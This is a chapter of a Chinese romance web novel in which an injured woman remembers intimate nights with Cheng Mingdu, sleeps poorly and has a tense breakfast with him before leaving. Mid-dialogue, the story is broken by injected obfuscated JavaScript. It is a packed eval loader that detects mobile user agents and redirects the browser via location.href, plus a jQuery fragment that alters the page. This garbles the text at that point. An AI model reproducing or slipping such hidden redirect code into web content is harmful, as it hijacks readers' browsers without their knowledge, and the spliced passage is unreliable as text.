没有拐杖的今晚，连淋浴她都做不到，只是用毛巾将自己仔细擦洗。
走出浴室的时候，走廊的灯被调暗了，这是程家固有的习惯，一到了晚上十点之后，只要人眼能接触的空间都会换成暗光，以保证所有家庭成员都能入睡。
从浴室的角度隔着走廊她可以看到黑暗的客厅内，投影仪仍旧运转，幕布上闪烁着电影画面。
她下意识忧虑程明笃会不会直接在沙发上睡着了，不知是出于关心还是好奇，很慢地挪步过去，微微探出半张脸。
昏暗的光线下，她于沙发上瞧见了那曾经熟悉如今陌生的人影，脸上的棱角在电影画面的闪烁中明灭不定，鼻梁和下颌的外弧度在淡光下被勾勒出有些锋利的轮廓。
据说插画里人脸都是画师用无数的直线切出来的，大概就是这样的轮廓吧。
她以为程明笃没有发现自己，就不由得多打量的一阵。
在衬衫领口下藏着的深邃锁骨，还有他高大身材下的大骨骼，整个人被精心雕刻又恰到好处的肌肉填充和描绘……
叶语莺想到了什么，呼吸错乱了，刹那间心脏拼命挤压浑身的血液，让心口处都灼灼的。
她觉得这种热血流经四肢百骸的感觉有些陌生了，长期和机器以及程序打交道的她不知不觉好像变成了个死人。
而此刻，死人身上的血，又活络了。
活络得如失控的野马，让她仿佛能感知到程明笃此刻坐着的地方……也是他曾经经常坐着的地方……
只不过，他的腿上会在午夜的时候多了个自己。
她时常会在他午夜观影的时候故意打扰他，默不作声地爬上他的腿，面对面抱着他，将头埋进他的颈窝里，那里总是他身上除了怀抱最温暖的地方，带着脉搏跳动。
他的皮肤触感总让她想起月光的意象，大概是流畅的微凉的，带着干净又清冽的木质香。
他似乎会偶尔无奈，但是又温柔地环住她，任她想一只树袋熊一样栖息在自己身上。
有时候她湿发还没有吹干，将后背的衣料大片洇湿，他会抬手在她身后垫上吸水的浴巾。
她从他颈窝中抬起头，不安分地将腿微微挪动——
程明笃呼吸一滞，喉结动了动，低声警告：“别乱动。”
她脸上露出有些邪气的笑容，抬手用虎口挑起他的下巴，让自己气息染上他的鼻尖。
“我就想看你能忍到什么时候。”
话刚说完，她就仰头吻上他的喉结，缓缓闭上含笑的双眼，嘴角带着顽皮的笑意。
如荒原上落下的一盏星火，刹那燎原。
程明笃眸光流转，幽深漆黑的眸子被春风掠过，垂眸间早已沾染了欲。
腰际的力道缓缓收紧，在她撤回唇的瞬间，他反身覆了上来，带着控制和回应，将她整个人卷入自己的气息中，带着侵略感和惩戒性。
她的后脊被大掌捉住，整个人都被被裹挟进他的领地里。
在他面前，她的心脏仿佛跳动的节奏也是不一样的，带点疼，带点痒。
她有时看不懂他是否理智丧失，想观察他和自己一起的时候和平时有什么不一样。
“专心……”他低声说。
但是她每次都无法看清，因为他会重新吻上她，让她陷落在窒息和潮热交织中，只剩下了缺氧和颤抖。
这段回忆灼得她浑身一震，那一刻的生理反应太过真实，仿佛唤醒了沉睡的某根神经。
这一瞬惊动了程明笃，他偏头看向她，与她错愕的目光四目相对。
空气在这一秒骤然凝结。
他此刻的沉默在厚重的夜色中很有存在感，仿佛如往昔一样能轻易解构她的心。
可是横亘在两道目光中间的，已是陌生又失温的空气了。
她在这样的注视下，身形晃了晃，抬手无声地扶住墙体，唇角轻轻动了动，语气却仍旧淡得几近虚无，“我去睡了。”
“……晚安。”似乎是有更多的词汇在发声的瞬即将涌出，却又最终卡在他喉咙里，如盘旋落叶需要经历一定的时间才能落地，最终说出口的是简单得不能再简单的话语。
“晚安。”她的话也凝练成这样这样两个字。
那一夜，风雨如约而至，持续了半个夜晚。
伤残者的骨头缝永远会比天气预报更加敏感，疼得像被刀刃一寸一寸撬开。
这让她不得不往自己服用比平时更多的止痛药。
止痛药吃成了习惯，有时候她不知自己那下意识含药的动作，究竟是想止神经痛，还是想用药物堵住心里的那个窟窿。
伤残者无眠的夜晚，没有翻来覆去。
她蜷在被子里，尽可能地用被子将自己包裹，不断想要再包裹得紧一点，仿佛那样就能复制一个怀抱的轮廓，当足够的包裹到来，她仿佛能觉得这大概能复原他的怀抱两分。
两分的相似度，已经很高了。
后半夜风雨没那么迫切了，淅淅沥沥地安静下来，屋里只剩下呼吸声心跳声轻缓交织，温度渐渐回升，疼痛也逐渐缓解她迷迷糊糊地睡着。
那一晚，她梦境里出现了多年前自己的声音，骨传导带来的不真切声音。
「哥哥……我心里藏着魔鬼，我如一个怪胎一样，喜欢你。」
夜色漫长，却也终于，有了一点点缝隙，能透出光来。
翌日清晨，天刚亮，竹林间便传来窸窸窣窣的风声，雨已停，天边微光透出，湖面升起一层淡淡的雾，在寒冷天气如同冻在半空的冰晶。
程明笃醒得比平时早。
他在客房的长沙发上侧卧了一夜，醒来时后颈微凉，衬衣还未换下，手腕的表带压出一道印。他撑着额角坐起，窗外的天色正处于黎明与晨曦交界的灰蓝，静得几乎能听见时间在屋檐间滑过的声音。
他起身沐浴、 换衣，走进厨房，烧水、煮粥，动作轻得几乎不出声。
锅还没开，他站在落地窗前望着那片湖，指尖无意识地抚着玻璃边缘，忽然听见身后传来极轻微的门响。
叶语莺穿着昨日的衣服，脚上套着拖鞋，走得很慢。
她的脸色比昨晚好了一点，但眼下的青黑仍掩不住。
“醒了？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305428|167021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”他语气低柔。
她点头，“昨晚没睡好，头还有点晕。”
“我煮了点粥，一会儿先吃点。”他转身去拿碗。
她缓缓坐下，掌心一热，被无声地递了杯温水，杯子温度缓缓从指尖传入掌心，也仿佛往心口送去一点微弱却坚定的热。
“……谢谢你。”她开口，嗫嚅着双唇，似乎搜肠刮肚也没想出其他更合适的对白。
他没有回头，只是指尖停顿了一下。
过了一会儿，程明笃把粥端上桌，顺手又放了一碟清炒菜心和煎鸡蛋，她怔了怔，看着那熟悉的搭配。
“还是这一套啊。”她看着这菜式，恬静地笑了笑。
他轻轻点头，“你……早上不能空口喝粥，会反酸。”
那句第二人称，他没有说出口，但是叶语莺的脑子已经自动为这个“你”字进行补全。
她没说话，拿起勺子，舀了一口，微烫，却好像有安慰到她心里的窟窿。
半晌，她忽然抬头：“对了，一会儿你不用送我了，有朋友来接我。”
他一顿，没有抬头：“助理吗？”
她轻轻摇头：“昨天车剐蹭到了，是另一个人来接我。”
他听着，没说话，指尖却微微收紧，似乎很容易想到是谁了。
最终却只是低声应了句：：“好。”
她盯着他，目光复杂。
他像是忽然察觉到了什么，抬头与她四目相对，她的眼神在被程明笃看到之前，已经恢复如常。
眉眼间一瞬波动，她很快收敛所有情绪，低头喝粥，没有说话。
吃完早餐，她用极轻极淡的声音问道：“你一会儿能送我到市中心吗？”
程明笃动作停住，抬眼看向她：“为什么不让他直接来这儿？”
她摇头，“不想。”
因为这里藏着你的过去？
程明笃没有将这句话问出口。
临走前，叶语莺站在门口，突然回头，又仔仔细细地打量着这屋内的一切。
“我前一阵看到这一带要建度假村，这房子……”
“那个项目还没拍板，我还在考虑。”程明笃沉声道。
她愣了一瞬，笑了笑，“如果不拆的话，你会考虑卖掉吗？”
“会……”他忽然看向她，眼中卷起一丝不易察觉的波澜，“你想买吗？”
她诚实地摇头：“我买不起。”
“如果买得起，你想买吗？”
“我会买，这里是蓉城最后非商业区域，为什么不买。”她声音很轻，暗含着几分创业者独有的清晰思辨。
却在目光落在那扇推拉木门上时，陷入了无声的惆怅。
她没有再看他一眼，低头拉开门，“走吧。”
她转身走下台阶，很慢，背影逐渐隐没在竹影中。
程明笃才后知后觉地发现，早晨的湖雾竟比往常更浓了一点。
那些她有些没说完的话，还有他卡在喉咙里的未竟之言，都在这片晨雾里沉沉地化开了。
他站在门口良久，终究还是迈开了步伐。